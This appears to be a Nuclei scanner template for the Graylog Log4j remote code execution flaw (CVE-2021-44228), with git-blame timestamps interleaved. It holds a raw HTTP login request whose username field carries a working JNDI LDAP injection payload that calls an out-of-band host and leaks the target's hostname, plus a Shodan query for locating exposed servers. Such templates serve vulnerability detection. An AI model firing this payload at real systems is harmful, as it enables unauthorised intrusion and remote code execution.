2022-08-03 13:13:22 +00:00
id : graylog-log4j
info :
2023-03-27 17:46:47 +00:00
name : Graylog (Log4j) - Remote Code Execution
2022-08-03 13:13:22 +00:00
author : DhiyaneshDK
severity : critical
2023-03-27 17:46:47 +00:00
description : Graylog is susceptible to remote code execution via the Apache Log4j 2 library prior to 2.15.0 by recording its own log information, specifically with specially crafted values sent as user input. Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI-related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
2022-08-03 13:13:22 +00:00
reference :
- https://www.graylog.org/post/graylog-update-for-log4j
2022-08-10 16:39:30 +00:00
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
2022-10-10 19:22:59 +00:00
classification :
2022-10-10 20:06:39 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10
2022-10-10 19:22:59 +00:00
cve-id : CVE-2021-44228
2022-10-19 21:11:27 +00:00
cwe-id : CWE-77
2022-08-03 13:13:22 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2022-08-03 13:13:22 +00:00
shodan-query : title:"Graylog Web Interface"
2023-06-04 08:13:42 +00:00
verified : true
2022-10-12 09:29:44 +00:00
tags : cve,cve2021,rce,jndi,log4j,graylog,kev,oast
2023-05-03 18:21:23 +00:00
variables :
rand1 : '{{rand_int(111, 999)}}'
rand2 : '{{rand_int(111, 999)}}'
2023-04-27 04:28:59 +00:00
http :
2022-08-03 13:13:22 +00:00
- raw :
- |
POST /api/system/sessions HTTP/1.1
Host : {{Hostname}}
Accept : application/json
X-Requested-With : XMLHttpRequest
X-Requested-By : XMLHttpRequest
Content-Type : application/json
Origin : {{BaseURL}}
Referer : {{BaseURL}}
2023-05-08 05:37:00 +00:00
{"username" : "${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}}" , "password" : "admin" , "host" : "{{Hostname}}" }
2022-08-03 13:13:22 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-16 13:32:52 +00:00
part : interactsh_protocol # Confirms the DNS Interaction
2022-08-03 13:13:22 +00:00
words :
- "dns"
2022-10-19 21:29:52 +00:00
- type : word
part : header
words :
- 'X-Graylog-Node-Id:'
2023-07-16 13:32:52 +00:00
- type : regex
part : interactsh_request
regex :
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
2022-08-03 13:13:22 +00:00
extractors :
- type : kval
kval :
- interactsh_ip # Print remote interaction IP in output
2023-05-03 18:21:23 +00:00
- type : regex
group : 2
regex :
2023-07-16 13:32:52 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
part : interactsh_request
2023-05-03 18:21:23 +00:00
2022-08-03 13:13:22 +00:00
- type : regex
group : 1
regex :
2023-07-16 13:32:52 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
part : interactsh_request